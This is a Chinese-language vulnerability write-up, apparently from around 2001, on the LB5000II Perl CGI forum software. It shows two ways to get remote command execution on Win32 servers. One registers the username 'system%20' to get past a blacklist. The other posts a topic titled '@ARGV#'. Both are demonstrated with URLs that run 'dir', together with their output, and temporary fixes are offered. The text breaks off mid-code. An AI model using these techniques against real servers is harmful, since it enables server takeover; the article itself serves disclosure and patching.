|
LB5K是国内最流行的CGI程序之一,是在Ikonboard的基础之上改进的,目前最新版本是LB5000II v1103,可以从http://www.leoboard.com/cgi-bin/lbdown.cgi?ver=LB5000II下载。
乍看起来,作者似乎已经改正了前段时间的所有BUG,这包括以前Win32平台创建后门的问题和后来跨平台的“search.cgi”问题,但是实际情况好象并不是这样。下面我将比较深入的剖析一下LB5K存在的几大功能漏洞,当然我也会提出对应的临时解决方法。
下面我只以Win32平台为例介绍一下,而且只是以Perl CGI方式介绍,至于Perl ISAPI方式请自己参考相关文档。
声明:本文只是出于教育的目的,请不要利用本文的内容进行任何破坏,否则后果自负!
【用户注册功能漏洞】
显然作者看过我写的那篇文章《怎样利用Perl CGI和LB5K的缺陷攻占远程服务器》,但是作者是怎么解决这个问题的呢?我们看一下相关代码:
[register.cgi] L185~L189:
$bannedmember = "yes" if (($inmembername eq "system")||($inmembername eq "admin")||($inmembername eq "root")||($inmembername eq "copy")||($inmembername eq "require")||($inmembername eq "rename")||($inmembername eq "dir"));
if ($bannedmember eq "yes") {
print header(-charset=>gb2312); &error("用户注册&对不起,你不允许注册,请联系论坛管理员以便解决!");
}
作者过滤了“system”和一些其它帐号,且不说过滤的帐号是不是全面,单从这种过滤的方法来看,就很容易绕过。不让注册“system”,我们可以注册“system%20”嘛,测试一下:
http://www.notfound.org/cgi-bin/members/system.cgi?dir
C:\Inetpub\cgi-bin\members 的目录
2001-11-05 16:29 <DIR> .
2001-11-05 16:29 <DIR> ..
2001-11-05 16:24 184 system.cgi
1 个文件 184 字节
2 个目录 1,939,226,624 可用字节
不用我多说了吧?
临时解决方法:
* 限制帐号密码只能为字母数字组合,且长度为3到8位
【发文章功能漏洞】
好了,我们假设已经对帐号密码进行了限制,下面我们来看看发文章功能有什么问题。假设用户system已经登陆进入系统,下面他要发一篇文章:
http://www.notfound.org/cgi-bin/post.cgi?action=new&forum=1
主题标题:@ARGV#
内容:thiz is a test!
提交。=版权所有 软件 下载 学院 版权所有=
我们来看一下:
http://www.notfound.org/cgi-bin/forum1/1.thd.cgi?dir
C:\Inetpub\cgi-bin\forum1 的目录
2001-11-05 17:10 <DIR> .
2001-11-05 17:10 <DIR> ..
2001-11-05 15:24 150 .htaccess
2001-11-05 17:10 72 1.pl
2001-11-05 17:10 70 1.thd.cgi
2001-11-05 15:24 85 foruminfo.cgi
2001-11-05 15:24 1 index.html
2001-11-05 17:10 1 lastnum.cgi
2001-11-05 17:10 74 list.cgi
7 个文件 453 字节
2 个目录 1,938,771,968 可用字节
我们看一下“post.cgi”的相关代码:
[post.cgi]L431~L432
elsif ($intopictitle eq "") { &error("发表新主题&必须输入主题标题!"); }
elsif (length($intopictitle) > 82) { &error("发表新主题&主题标题过长!"); }
[post.cgi]L436~L444
$intopictitle =~ s/(
上一篇:ACDSee 4.0让我一次看个够
下一篇:各有千秋:惠普三台新款品牌电脑浅析(图)
|